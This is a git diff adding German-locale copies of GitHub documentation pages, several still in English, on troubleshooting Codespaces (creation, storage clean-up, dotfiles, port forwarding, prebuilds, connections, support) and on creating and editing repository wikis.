+shortTitle: Troubleshooting
+intro: 'These guides provide information for troubleshooting {% data variables.product.prodname_github_codespaces %}'
+versions:
+  fpt: '*'
+  ghec: '*'
+redirect_from:
+  - /codespaces/codespaces-reference/troubleshooting-your-codespace
+  - /github/developing-online-with-github-codespaces/troubleshooting-your-codespace
+  - /github/developing-online-with-codespaces/troubleshooting-your-codespace
+  - /codespaces/working-with-your-codespace/troubleshooting-your-codespace
+children:
+  - /github-codespaces-logs
+  - /exporting-changes-to-a-branch
+  - /troubleshooting-creation-and-deletion-of-codespaces
+  - /troubleshooting-your-connection-to-github-codespaces
+  - /troubleshooting-prebuilds
+  - /troubleshooting-dotfiles-for-codespaces
+  - /troubleshooting-port-forwarding-for-github-codespaces
+  - /troubleshooting-github-codespaces-clients
+  - /troubleshooting-gpg-verification-for-github-codespaces
+  - /working-with-support-for-github-codespaces
+---
+
diff --git a/translations/de-DE/content/codespaces/troubleshooting/troubleshooting-creation-and-deletion-of-codespaces.md b/translations/de-DE/content/codespaces/troubleshooting/troubleshooting-creation-and-deletion-of-codespaces.md
new file mode 100644
index 0000000000..e9c7c4560c
--- /dev/null
+++ b/translations/de-DE/content/codespaces/troubleshooting/troubleshooting-creation-and-deletion-of-codespaces.md
@@ -0,0 +1,96 @@
+---
+title: Troubleshooting creation and deletion of codespaces
+intro: 'This article provides troubleshooting steps for common issues you may experience when creating or deleting a codespace, including storage and configuration issues.'
+versions:
+  fpt: '*'
+  ghec: '*'
+type: reference
+topics:
+  - Codespaces
+shortTitle: Creation and deletion
+---
+
+## Creating codespaces
+
+### No access to create a codespace
+{% data variables.product.prodname_github_codespaces %} is not available for all repositories. If the options for creating a codespace are not displayed, {% data variables.product.prodname_github_codespaces %} may not be available for that repository. For more information, see "[Creating a codespace for a repository](/codespaces/developing-in-codespaces/creating-a-codespace-for-a-repository#access-to-codespaces)."
+
+Provided you have remaining monthly included usage of {% data variables.product.prodname_github_codespaces %} on your personal account, or you have set up a payment method and a spending limit, you will be able to create codespaces for public repositories. However, you can only create a codespace for a private repository if you can push changes to the repository, or you can fork the repository.
+
+For more information about included usage for personal accounts, and setting a spending limit, see "[About billing for {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/about-billing-for-github-codespaces)" and "[Managing spending limits for {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-github-codespaces)."
+
+### Codespace does not open when created
+
+If you create a codespace and it does not open:
+
+1. Try reloading the page in case there was a caching or reporting problem.
+2. Go to your {% data variables.product.prodname_github_codespaces %} page: https://github.com/codespaces and check whether the new codespace is listed there. The process may have successfully created the codespace but failed to report back to your browser. If the new codespace is listed, you can open it directly from that page.
+3. Retry creating the codespace for the repository to rule out a transient communication failure.
+
+If you still cannot create a codespace for a repository where {% data variables.product.prodname_github_codespaces %} is available, {% data reusables.codespaces.contact-support %}
+
+### Codespace creation fails
+
+If the creation of a codespace fails, it's likely to be due to a temporary infrastructure issue in the cloud - for example, a problem provisioning a virtual machine for the codespace. A less common reason for failure is if it takes longer than an hour to build the container. In this case, the build is cancelled and codespace creation will fail.
+
+{% note %}
+
+**Note:** A codespace that was not successfully created is never going to be usable and should be deleted. For more information, see "[Deleting a codespace](/codespaces/developing-in-codespaces/deleting-a-codespace)."
+
+{% endnote %}
+
+If you create a codespace and the creation fails:
+
+1. Check {% data variables.product.prodname_dotcom %}'s [Status page](https://githubstatus.com) for any active incidents.
+1. Go to [your {% data variables.product.prodname_github_codespaces %} page](https://github.com/codespaces), delete the codespace, and create a new codespace.
+1. If the container is building, look at the logs that are streaming and make sure the build is not stuck. A container build that takes longer than one hour will be canceled, resulting in a failed creation.
+
+   One common scenario where this could happen is if you have a script running that is prompting for user input and waiting for an answer. If this is the case, remove the interactive prompt so that the build can complete non-interactively.
+
+   {% note %}
+
+   **Note**: To view the logs during a build:
+   * In the browser, click **View logs.** 
+
+   ![Screenshot of the Codespaces web UI with the View logs link emphasized](/assets/images/help/codespaces/web-ui-view-logs.png)
+
+   * In the VS Code desktop application, click **Building codespace** in the "Setting up remote connection" that's displayed. 
+
+   ![Screenshot of VS Code with the Building codespace link emphasized](/assets/images/help/codespaces/vs-code-building-codespace.png)
+
+    {% endnote %}
+2. If you have a container that takes a long time to build, consider using prebuilds to speed up codespace creations. For more information, see "[Configuring prebuilds](/codespaces/prebuilding-your-codespaces/configuring-prebuilds#configuring-prebuilds)."
+
+## Deleting codespaces
+
+A codespace can only be deleted by:
+* The person who created the codespace.
+* An organization owner for an organization-owned codespace.
+* Automatic deletion at the end of a retention period. 
+
+For more information, see "[Deleting a codespace](/codespaces/developing-in-codespaces/deleting-a-codespace)" and "[Configuring automatic deletion of your codespaces](/codespaces/customizing-your-codespace/configuring-automatic-deletion-of-your-codespaces)."
+
+## Container storage
+
+When you create a codespace, it has a finite amount of storage and over time it may be necessary for you to free up space. Try running any of the following commands in the {% data variables.product.prodname_github_codespaces %} terminal to free up storage space.
+
+- Remove packages that are no longer used by using `sudo apt autoremove`.
+- Clean the apt cache by using `sudo apt clean`.
+- See the top 10 largest files in the codespace with`sudo find / -printf '%s %p\n'| sort -nr | head -10`.
+- Delete unneeded files, such as build artifacts and logs.
+
+Some more destructive options:
+
+- Remove unused Docker images, networks, and containers by using `docker system prune` (append `-a` if you want to remove all images, and `--volumes` if you want to remove all volumes).
+- Remove untracked files from working tree: `git clean -i`.
+
+## Configuration
+
+{% data reusables.codespaces.recovery-mode %}
+
+```
+This codespace is currently running in recovery mode due to a container error.
+```
+Review the creation logs and update the dev container configuration as needed. For more information, see "[{% data variables.product.prodname_github_codespaces %} logs](/codespaces/troubleshooting/github-codespaces-logs)."
+
+You can then try restarting the codespace, or rebuilding the container. For more information, see "[Introduction to dev containers](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers#applying-configuration-changes-to-a-codespace)."
diff --git a/translations/de-DE/content/codespaces/troubleshooting/troubleshooting-dotfiles-for-codespaces.md b/translations/de-DE/content/codespaces/troubleshooting/troubleshooting-dotfiles-for-codespaces.md
new file mode 100644
index 0000000000..62d38039a9
--- /dev/null
+++ b/translations/de-DE/content/codespaces/troubleshooting/troubleshooting-dotfiles-for-codespaces.md
@@ -0,0 +1,30 @@
+---
+title: Behandeln von Problemen mit GitHub-Codespaces
+allowTitleToDifferFromFilename: true
+intro: Schritte zum Behandeln gängiger Probleme mit Dotfiles
+versions:
+  fpt: '*'
+  ghec: '*'
+type: reference
+topics:
+  - Codespaces
+shortTitle: Dotfiles
+ms.openlocfilehash: 699f790e45c71e685ac6b301e8dea1eca2ee6f15
+ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/09/2022
+ms.locfileid: '148158685'
+---
+Wenn dein Codespace keine Konfigurationseinstellungen aus Dotfiles übernimmt, kannst du zum Debuggen die folgenden Schritte durchlaufen.
+
+1. Aktiviere Dotfiles, indem du **Dotfiles automatisch installieren** in deinen [persönlichen {% data variables.product.prodname_github_codespaces %}-Einstellungen](https://github.com/settings/codespaces) auswählst.
+
+   ![Die Option „Dotfiles automatisch installieren“](/assets/images/help/codespaces/automatically-install-dotfiles.png)
+
+1. Überprüfe `/workspaces/.codespaces/.persistedshare/dotfiles`, um zu ermitteln, ob deine Dotfiles geklont wurden.
+   - Wenn deine Dotfiles geklont wurden, versuche, das Installationsskript manuell erneut auszuführen, um dich zu vergewissern, dass es ausführbar ist.
+   - Wenn deine Dotfiles nicht geklont wurden, überprüfe `/workspaces/.codespaces/.persistedshare/EnvironmentLog.txt`, um zu ermitteln, ob beim Klonen ein Problem aufgetreten ist.
+1. Überprüfe `/workspaces/.codespaces/.persistedshare/creation.log` auf mögliche Probleme. Weitere Informationen findest du unter [Erstellungsprotokolle](/codespaces/troubleshooting/codespaces-logs#creation-logs).
+
+Wenn die Konfiguration aus deinen Dotfiles ordnungsgemäß übernommen wird, ein Teil der Konfiguration aber nicht mit Codespaces kompatibel ist, verwende die Umgebungsvariable `$CODESPACES`, um bedingte Logik für codespacespezifische Konfigurationseinstellungen hinzuzufügen.
diff --git a/translations/de-DE/content/codespaces/troubleshooting/troubleshooting-port-forwarding-for-github-codespaces.md b/translations/de-DE/content/codespaces/troubleshooting/troubleshooting-port-forwarding-for-github-codespaces.md
new file mode 100644
index 0000000000..2264e6432e
--- /dev/null
+++ b/translations/de-DE/content/codespaces/troubleshooting/troubleshooting-port-forwarding-for-github-codespaces.md
@@ -0,0 +1,26 @@
+---
+title: Troubleshooting port forwarding for GitHub Codespaces
+intro: Troubleshooting steps for common port forwarding issues.
+versions:
+  fpt: '*'
+  ghec: '*'
+type: reference
+topics:
+  - Codespaces
+shortTitle: Port forwarding
+redirect_from:
+  - /codespaces/troubleshooting/troubleshooting-port-forwarding-for-codespaces
+---
+
+When an application running inside a codespace outputs a port to the console, {% data variables.product.prodname_github_codespaces %}  detects the localhost URL pattern and automatically forwards the port. For more information, see "[Forwarding ports in your codespace](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace)."
+
+If a port is not automatically forwarded, you can forward it manually. For more information, see "[Forwarding a port](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace#forwarding-a-port)."
+
+If port forwarding is set up, check the following:
+
+- Use the link in the notification "toast" message, that pops up in the bottom right corner of {% data variables.product.prodname_vscode_shortname %}, or click the URL in Terminal, to open the forwarded port. Typing in `localhost:8000` (as an example) to your local machine will not work if you're connected to the codespace via the browser.
+- Make sure to check that your application is still running from within your codespace. If your codespace has stopped after a period of inactivity, you'll need to ensure to restart your application once the codespace has restarted.
+
+Typically, you can make a forwarded port accessible publicly, or within the organization that owns a repository. For more information, see "[Forwarding ports in your codespace](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace)." If either, or both, of the options for public or organization visibility are not available, this indicates that an organization-level policy has been configured. For more information, see "[Restricting the visibility of forwarded ports](/codespaces/managing-codespaces-for-your-organization/restricting-the-visibility-of-forwarded-ports)."
+
+{% data reusables.codespaces.forwarded-ports-environment-variable %}
diff --git a/translations/de-DE/content/codespaces/troubleshooting/troubleshooting-prebuilds.md b/translations/de-DE/content/codespaces/troubleshooting/troubleshooting-prebuilds.md
new file mode 100644
index 0000000000..25a547449e
--- /dev/null
+++ b/translations/de-DE/content/codespaces/troubleshooting/troubleshooting-prebuilds.md
@@ -0,0 +1,94 @@
+---
+title: Troubleshooting prebuilds
+shortTitle: Codespaces prebuilds
+intro: You can use prebuilds to speed up the creation of codespaces. This article provides troubleshooting steps for common issues with prebuilds.
+versions:
+  fpt: '*'
+  ghec: '*'
+type: reference
+topics:
+  - Codespaces
+miniTocMaxHeadingLevel: 3
+---
+
+For more information about {% data variables.product.prodname_github_codespaces %} prebuilds, see "[Prebuilding your codespaces](/codespaces/prebuilding-your-codespaces)."
+
+## Checking whether a codespace was created from a prebuild?
+
+When you create a codespace, you can choose the type of the virtual machine you want to use. If a prebuild is available for the type of virtual machine, "{% octicon "zap" aria-label="The zap icon" %} Prebuild ready" is shown next to it.
+
+![A list of available machine types](/assets/images/help/codespaces/choose-custom-machine-type.png)
+
+If you have your {% data variables.product.prodname_github_codespaces %} editor preference set to "{% data variables.product.prodname_vscode %} for Web" then the "Setting up your codespace" page will show the message "Prebuilt codespace found" if a prebuild is being used. 
+
+![The 'prebuilt codespace found' message](/assets/images/help/codespaces/prebuilt-codespace-found.png)
+
+Similarly, if your editor preference is "{% data variables.product.prodname_vscode_shortname %}" then the integrated terminal will contain the message "You are on a prebuilt codespace defined by the prebuild configuration for your repository" when you create a new codespace. For more information, see "[Setting your default editor for {% data variables.product.prodname_github_codespaces %}](/codespaces/customizing-your-codespace/setting-your-default-editor-for-github-codespaces)."
+
+After you have created a codespace you can check whether it was created from a prebuild by running the following {% data variables.product.prodname_cli %} command in the terminal:
+
+```shell{:copy}
+gh api /user/codespaces/$CODESPACE_NAME --jq .prebuild
+```
+
+This returns `true` if the codespace was created using a prebuild.
+
+Alternatively, if {% data variables.product.prodname_cli %} (`gh`) is not installed, you can use the following command, which returns `createFromPrebuild` if the codespace was created from a prebuild: 
+
+```shell{:copy}
+cat /workspaces/.codespaces/shared/environment-variables.json | jq '.ACTION_NAME'
+```
+
+## The "Prebuild Ready" label is sometimes missing
+
+You may notice that sometimes, when you create a new codespace from a prebuild-enabled branch, the "{% octicon "zap" aria-label="The zap icon" %} Prebuild Ready" label is not displayed in the dialog box for choosing a machine type. This means that prebuilds are not currently available.
+
+By default, each time you push to a prebuild-enabled branch, the prebuild is updated. If the push involves a change to the dev container configuration then, while the update is in progress, the "{% octicon "zap" aria-label="The zap icon" %} Prebuild Ready" label is removed from the list of machine types. During this time you can still create codespaces without a prebuild. If required, you can reduce the occasions on which prebuilds are unavailable for a repository by setting the prebuild to be updated only when you make a change to your dev container configuration files, or only on a custom schedule. For more information, see "[Configuring prebuilds](/codespaces/prebuilding-your-codespaces/configuring-prebuilds#configuring-prebuilds)."
+
+If your branch is not specifically enabled for prebuilds it may still benefit from prebuilds if it was branched from a prebuild-enabled branch. However, if the dev container configuration is changed on your branch, so that it's not the same as the configuration on the base branch, prebuilds will no longer be available on your branch.
+
+Here are things to check if the "{% octicon "zap" aria-label="The zap icon" %} Prebuild Ready" label is not displayed for a particular branch:
+
+* Confirm that a prebuild configuration exists for this branch. If you’re not a repository administrator, you'll need to reach out to one to confirm this. 
+* Confirm that the prebuild configuration includes your region.
+* Check whether a change to the dev container configuration was pushed to the prebuild-enabled branch recently. If so, you will typically have to wait until the prebuild workflow run for this push completes before prebuilds are available again.
+* If no configuration changes were recently made, go to the **Actions** tab of your repository, click **{% octicon "codespaces" aria-label="The Codespaces icon" %} {% data variables.product.prodname_codespaces %} Prebuilds** in the workflows list, and check that prebuild workflow runs for the branch are succeeding. If latest runs of a workflow failed, and one or more of these failed runs contained changes to the dev container configuration, then there will be no available prebuilds for the associated branch. 
+
+## Some resources cannot be accessed in codespaces created using a prebuild
+
+If the `devcontainer.json` configuration file for a prebuild configuration specifies that permissions for access to other repositories are required, then the repository administrator is prompted to authorize these permissions when they create or update the prebuild configuration. If the administrator does not grant all of the requested permissions there's a chance that problems may occur in the prebuild, and in codespaces created from this prebuild. This is true even if the user who creates a codespace based on this prebuild _does_ grant all of the permissions when they are prompted to do so.
+
+## Troubleshooting failed workflow runs for prebuilds
+
+### Increasing the {% data variables.product.prodname_actions %} spending limit 
+
+Prebuilds are created and updated using {% data variables.product.prodname_actions %}. Your prebuild workflows will fail if you have used all of your {% data variables.product.prodname_actions %} minutes and have reached your spending limit. If this occurs you can increase your {% data variables.product.prodname_actions %} spending limit to allow the workflows to run. For more information, see "[Managing your spending limit for {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions/managing-your-spending-limit-for-github-actions)."
+
+### Authorizing access permissions
+
+If the `devcontainer.json` configuration file for a prebuild configuration is updated to specify that permissions for access to other repositories are required, and a repository administrator has not been prompted to authorize these permissions for the prebuild configuration, then the prebuild workflow may fail. Try updating the prebuild configuration, without making any changes. If, when you click **Update**, the authorization page is displayed, check that the requested permissions are appropriate and, if so, authorize the request. For more information, see "[Managing prebuilds](/codespaces/prebuilding-your-codespaces/managing-prebuilds#editing-a-prebuild-configuration)" and "[Managing access to other repositories within your codespace](/codespaces/managing-your-codespaces/managing-repository-access-for-your-codespaces#setting-additional-repository-permissions)."
+
+If the workflow runs for a prebuild configuration are failing, you can temporarily disable the prebuild configuration while you investigate. For more information, see "[Managing prebuilds](/codespaces/prebuilding-your-codespaces/managing-prebuilds#disabling-a-prebuild-configuration)."
+
+### Preventing out-of-date prebuilds being used
+
+By default, if the latest prebuild workflow has failed, then a previous prebuild for the same combination of repository, branch, and `devcontainer.json` configuration file will be used to create new codespaces. This behavior is called prebuild optimization.
+
+We recommend keeping prebuild optimization enabled, because it helps ensure that codespaces can still be created quickly if an up-to-date prebuild is not available. However, as a repository administrator, you can disable prebuild optimization if you run into problems with prebuilt codespaces being behind the current state of the branch. If you disable prebuild optimization, codespaces for the relevant combination of repository, branch, and `devcontainer.json` file will be created without a prebuild if the latest prebuild workflow has failed or is currently running.
+
+{% data reusables.codespaces.accessing-prebuild-configuration %}
+1. To the right of the affected prebuild configuration, select the ellipsis (**...**), then click **Edit**.
+
+   ![Screenshot of a list of prebuilds, with "Edit" highlighted](/assets/images/help/codespaces/edit-prebuild-configuration.png)
+1. Scroll to the bottom of the "Edit configuration" page and click **Show advanced options**.
+
+   ![Screenshot of the prebuild configuration page, with "Show advanced options" highlighted](/assets/images/help/codespaces/show-advanced-options.png)
+1. If you're sure you want to disable the default setting, select **Disable prebuild optimization**.
+
+   ![Screenshot of the advanced option section and the "disable prebuild optmization" setting](/assets/images/help/codespaces/disable-prebuild-optimization.png)
+1. To save your change, click **Update**.
+
+## Further reading
+
+- "[Configuring prebuilds](/codespaces/prebuilding-your-codespaces/configuring-prebuilds)"
+- "[Managing prebuilds](/codespaces/prebuilding-your-codespaces/managing-prebuilds)"
diff --git a/translations/de-DE/content/codespaces/troubleshooting/troubleshooting-your-connection-to-github-codespaces.md b/translations/de-DE/content/codespaces/troubleshooting/troubleshooting-your-connection-to-github-codespaces.md
new file mode 100644
index 0000000000..c403cf9f6c
--- /dev/null
+++ b/translations/de-DE/content/codespaces/troubleshooting/troubleshooting-your-connection-to-github-codespaces.md
@@ -0,0 +1,58 @@
+---
+title: Troubleshooting your connection to GitHub Codespaces
+intro: 'Troubleshooting help for connecting to {% data variables.product.prodname_github_codespaces %}.'
+versions:
+  fpt: '*'
+  ghec: '*'
+type: reference
+topics:
+  - Codespaces
+shortTitle: Connection
+redirect_from:
+  - /codespaces/troubleshooting/troubleshooting-your-connection-to-codespaces
+---
+
+## 503 codespace service unavailable
+
+Codespaces are set to stop after 30 minutes without any activity. If you try to interact with a codespace after it has stopped, you may see a `503 service unavailable` error. 
+
+- If a **Start** button is shown in {% data variables.product.prodname_vscode %} or in your browser window, click **Start** to reconnect to the codespace.
+- Reset your codespace by reloading the window. From the [Command Palette](/codespaces/codespaces-reference/using-the-command-palette-in-codespaces#accessing-the-command-palette) in {% data variables.product.prodname_vscode %}, click **Developer: Reload Window**.
+
+## Browser cannot connect
+
+Sometimes you may not be able to access a codespace from your browser. If this happens, go to https://github.com/codespaces and try connecting to the codespace from that page.
+
+  - If the codespace is not listed on that page, check that you are the owner of the codespace you are trying to connect to. You can only open a codespace that you created. The URLs for your codespaces always include your {% data variables.product.company_short %} handle.
+  - If the codespace is listed but you cannot connect from that page, check whether you can connect using a different browser.
+
+Your company network may be blocking the connection. If possible, check any logging for rejected connections on your device.
+
+If you still cannot connect, {% data reusables.codespaces.contact-support %}
+
+## Unable to connect to your codespace in JupyterLab
+
+To be able to use a codespace in JupyterLab, you must ensure that your codespace has it installed. The default container image that's used by {% data variables.product.prodname_github_codespaces %} includes JupyterLab, but if you have customized your dev container configuration you will have to manually install JupyterLab.
+
+If your codespace uses a Debian-based image, you can install JupyterLab in the dev container by adding the `python` feature to your `devcontainer.json` file, with the `installJupyterlab` option set to `true`. Otherwise, install it directly in your Dockerfile. For installation instructions, see "[Installation](https://jupyterlab.readthedocs.io/en/stable/getting_started/installation.html)" in the JupyterLab documentation.
+
+For more information about the `python` feature, see the README page in the [`devcontainers/features` repository](https://github.com/devcontainers/features/tree/main/src/python). For more information about the `devcontainer.json` file and the Dockerfile, see "[Introduction to dev containers](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers#devcontainerjson)."
+
+If you still cannot connect, {% data reusables.codespaces.contact-support %}
+
+## {% data variables.product.prodname_github_codespaces %} extension for {% data variables.product.prodname_vscode %} cannot connect
+
+If you cannot connect to a codespace from {% data variables.product.prodname_vscode %} desktop, use the following troubleshooting steps.
+
+1. Check that you have the latest version of the {% data variables.product.prodname_github_codespaces %} extension installed. The extension is a preview release and frequent updates are released.
+   1. In {% data variables.product.prodname_vscode %}, display the "Extensions" tab.
+   2. Select the {% data variables.product.prodname_github_codespaces %} extension to display the extension's overview page.
+   3. If an update is available, a button is shown, click **Update to X.X.X** to upgrade to the latest version.
+2. Check whether you are using the stable build of {% data variables.product.prodname_vscode %} or the [{% data variables.product.prodname_vscode %} Insiders](https://code.visualstudio.com/insiders/) release (nightly updates). If you are using the insiders release, try installing the [stable build](https://code.visualstudio.com/).
+3. Your company network may be blocking the connection. If possible, check any logging for rejected connections on your device.
+
+If you still cannot connect, {% data reusables.codespaces.contact-support %}
+
+### The codespace has latency issues
+
+If the codespace seems particularly slow or has latency issues, it is possible that it has been created in a region that is far from you. To resolve this, you can [manually set your {% data variables.product.prodname_github_codespaces %} region](/codespaces/managing-your-codespaces/setting-your-default-region-for-codespaces).
diff --git a/translations/de-DE/content/codespaces/troubleshooting/working-with-support-for-github-codespaces.md b/translations/de-DE/content/codespaces/troubleshooting/working-with-support-for-github-codespaces.md
new file mode 100644
index 0000000000..c75eb6ab59
--- /dev/null
+++ b/translations/de-DE/content/codespaces/troubleshooting/working-with-support-for-github-codespaces.md
@@ -0,0 +1,38 @@
+---
+title: Working with support for GitHub Codespaces
+intro: 'Tips on getting the best help from support for {% data variables.product.prodname_github_codespaces %}.'
+versions:
+  fpt: '*'
+  ghec: '*'
+type: reference
+topics:
+  - Codespaces
+shortTitle: Working with support
+redirect_from:
+  - /codespaces/troubleshooting/working-with-support-for-codespaces
+---
+
+Before support can help you with problems with codespaces, you need to know the permanent name of the codespace and its codespaces ID (identifier). In addition, support may ask you to share some logs with them. For more information, see "[{% data variables.product.prodname_github_codespaces %} logs](/codespaces/troubleshooting/github-codespaces-logs)" and "[About GitHub Support](/github/working-with-github-support/about-github-support)."
+
+## Codespace names
+
+Each codespace has a unique name that is a combination of your {% data variables.product.company_short %} handle, two or three automatically generated words, and some random characters. For example: `octocat-literate-space-parakeet-mld5`. The two or three automatically generated words also form the initial display name of your codespace, in this case, `literate-space-parakeet`. You can change the display name for a codespace, but this will not affect the permanent name. For more information, see "[Renaming a codespace](/codespaces/customizing-your-codespace/renaming-a-codespace)."
+
+To find the name of a codespace:
+
+- Open the codespace in the browser. The subdomain of the URL is the name of the codespace. For example: `https://octocat-literate-space-parakeet-mld5.github.dev` is the URL for the `octocat-literate-space-parakeet-mld5` codespace.
+- If you cannot open a codespace, you can access the name in {% data variables.product.product_name %} on https://github.com/codespaces. The name is shown in a pop-up when you hover over the display name of a codespace on https://github.com/codespaces. 
+  ![Codespace name shown on hover over](/assets/images/help/codespaces/find-codespace-name-github.png)
+
+The name the codespace is also included in many of the log files. For example, in the codespace logs as the value of `friendlyName`, in the {% data variables.product.prodname_github_codespaces %} extension log after `making GET request for`, and in the browser console log after `clientUrl`. For more information, see "[{% data variables.product.prodname_github_codespaces %} logs](/codespaces/troubleshooting/github-codespaces-logs)."
+
+## Codespaces IDs
+
+Every codespace also has an ID (identifier). This is not shown by default in {% data variables.product.prodname_vscode %} so you may need to update the settings for the {% data variables.product.prodname_github_codespaces %} extension before you can access the ID.
+
+1. In {% data variables.product.prodname_vscode %}, browser or desktop, in the Activity Bar on the left, click **Remote Explorer** to show details for the codespace.
+{% indented_data_reference reusables.codespaces.remote-explorer spaces=3 %}
+1. If the sidebar includes a "Codespace Performance" section, hover over the "Codespace ID" and click the clipboard icon to copy the ID.
+1. If the information is not shown, click {% octicon "gear" aria-label="The gear icon" %}, in the bottom-left corner of the Activity Bar, to display the "Settings" tab.
+1. Expand **Extensions** and click **{% data variables.product.prodname_github_codespaces %}** to display the settings for the extension. Then enable **Show Performance Explorer** to display the "Codespace Performance" section in the sidebar.
+  ![Codespace ID and settings required to display performance information](/assets/images/help/codespaces/find-codespace-id.png)
diff --git a/translations/de-DE/content/communities/documenting-your-project-with-wikis/about-wikis.md b/translations/de-DE/content/communities/documenting-your-project-with-wikis/about-wikis.md
new file mode 100644
index 0000000000..24a9ff072b
--- /dev/null
+++ b/translations/de-DE/content/communities/documenting-your-project-with-wikis/about-wikis.md
@@ -0,0 +1,40 @@
+---
+title: About wikis
+intro: 'You can host documentation for your repository in a wiki, so that others can use and contribute to your project.'
+redirect_from:
+  - /articles/about-github-wikis
+  - /articles/about-wikis
+  - /github/building-a-strong-community/about-wikis
+product: '{% data reusables.gated-features.wikis %}'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Community
+---
+
+Every repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %} comes equipped with a section for hosting documentation, called a wiki. You can use your repository's wiki to  share long-form content about your project, such as how to use it, how you designed it, or its core principles. A README file quickly tells what your project can do, while you can use a wiki to provide additional documentation. For more information, see "[About READMEs](/articles/about-readmes)."
+
+With wikis, you can write content just like everywhere else on {% data variables.product.product_name %}. For more information, see "[Getting started with writing and formatting on {% data variables.product.prodname_dotcom %}](/articles/getting-started-with-writing-and-formatting-on-github)." We use [our open-source Markup library](https://github.com/github/markup) to convert different formats into HTML, so you can choose to write in Markdown or any other supported format. 
+
+{% data reusables.getting-started.math-and-diagrams %}
+
+{% ifversion fpt or ghes or ghec %}If you create a wiki in a public repository, the wiki is available to {% ifversion ghes %}anyone with access to {% data variables.location.product_location %}{% else %}the public{% endif %}. {% endif %}If you create a wiki in a private{% ifversion ghec or ghes %} or internal{% endif %} repository, only {% ifversion fpt or ghes or ghec %}people{% elsif ghae %}enterprise members{% endif %} with access to the repository can access the wiki. For more information, see "[Setting repository visibility](/articles/setting-repository-visibility)."
+
+You can edit wikis directly on {% data variables.product.product_name %}, or you can edit wiki files locally. By default, only people with write access to your repository can make changes to wikis, although you can allow everyone on {% data variables.location.product_location %} to contribute to a wiki in {% ifversion ghae %}an internal{% else %}a public{% endif %} repository. For more information, see "[Changing access permissions for wikis](/communities/documenting-your-project-with-wikis/changing-access-permissions-for-wikis)."
+
+{% note %}
+
+**Note:** Search engines will not index the contents of wikis. To have your content indexed by search engines, you can use [{% data variables.product.prodname_pages %}](/pages) in a public repository.
+
+{% endnote %}
+
+## Further reading
+
+- "[Adding or editing wiki pages](/communities/documenting-your-project-with-wikis/adding-or-editing-wiki-pages)"
+- "[Creating a footer or sidebar for your wiki](/communities/documenting-your-project-with-wikis/creating-a-footer-or-sidebar-for-your-wiki)"
+- "[Editing wiki content](/communities/documenting-your-project-with-wikis/editing-wiki-content)"
+- "[Viewing a wiki's history of changes](/articles/viewing-a-wiki-s-history-of-changes)"
+- "[Searching wikis](/search-github/searching-on-github/searching-wikis)"
diff --git a/translations/de-DE/content/communities/documenting-your-project-with-wikis/adding-or-editing-wiki-pages.md b/translations/de-DE/content/communities/documenting-your-project-with-wikis/adding-or-editing-wiki-pages.md
new file mode 100644
index 0000000000..fa663d70a9
--- /dev/null
+++ b/translations/de-DE/content/communities/documenting-your-project-with-wikis/adding-or-editing-wiki-pages.md
@@ -0,0 +1,73 @@
+---
+title: Wiki-Seiten hinzufügen oder bearbeiten
+intro: 'Du kannst Wiki-Seiten direkt auf {% data variables.product.product_name %} oder lokal über die Befehlszeile hinzufügen und bearbeiten.'
+redirect_from:
+  - /articles/adding-wiki-pages-via-the-online-interface
+  - /articles/editing-wiki-pages-via-the-online-interface
+  - /articles/adding-and-editing-wik-pages-locally
+  - /articles/adding-and-editing-wiki-pages-locally
+  - /articles/adding-or-editing-wiki-pages
+  - /github/building-a-strong-community/adding-or-editing-wiki-pages
+product: '{% data reusables.gated-features.wikis %}'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Community
+shortTitle: Manage wiki pages
+ms.openlocfilehash: f163818a903d7c8261bd4c0b0268d748f578702f
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147425264'
+---
+## Wiki-Seiten hinzufügen
+
+{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-wiki %}
+3. Klicke in der oberen rechte Ecke der Seite auf **Neue Seite**.
+  ![Schaltfläche „Neue Seite“ für Wiki](/assets/images/help/wiki/wiki_new_page_button.png)
+4. Wenn du ein anderes Format als Markdown verwenden möchtest, kannst du wahlweise im Bearbeitungsmodus über das Dropdownmenü ein anderes Format auswählen.
+  ![Wiki-Markup-Auswahl](/assets/images/help/wiki/wiki_dropdown_markup.gif)
+5. Verwende den Text-Editor, um den Inhalt deiner Seite hinzuzufügen.
+  ![Wiki-WYSIWYG](/assets/images/help/wiki/wiki_wysiwyg.png)
+6. Erstelle eine Commit-Mitteilung, welche die neue Datei beschreibt, die du hinzufügst.
+  ![Wiki-Commit-Mitteilung](/assets/images/help/wiki/wiki_commit_message.png)
+7. Klicke zum Committen der Änderungen im Wiki auf **Seite speichern**.
+
+## Wiki-Seiten bearbeiten
+
+{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-wiki %}
+4. Navigiere über die Wiki-Seitenleiste zu der Seite, die du ändern möchtest. Klicke in der oberen rechte Ecke der Seite auf **Bearbeiten**.
+   ![Schaltfläche „Bearbeiten“ für Wiki-Seite](/assets/images/help/wiki/wiki_edit_page_button.png)
+5. Verwende den Text-Editor, um den Inhalt der Seite zu bearbeiten.
+   ![Wiki-WYSIWYG](/assets/images/help/wiki/wiki_wysiwyg.png)
+6. Erstelle eine Commit-Mitteilung, in der du deine Änderungen beschreibst.
+   ![Wiki-Commit-Mitteilung](/assets/images/help/wiki/wiki_commit_message.png)
+7. Klicke zum Committen der Änderungen im Wiki auf **Seite speichern**.
+
+## Wiki-Seiten lokal hinzufügen oder bearbeiten
+
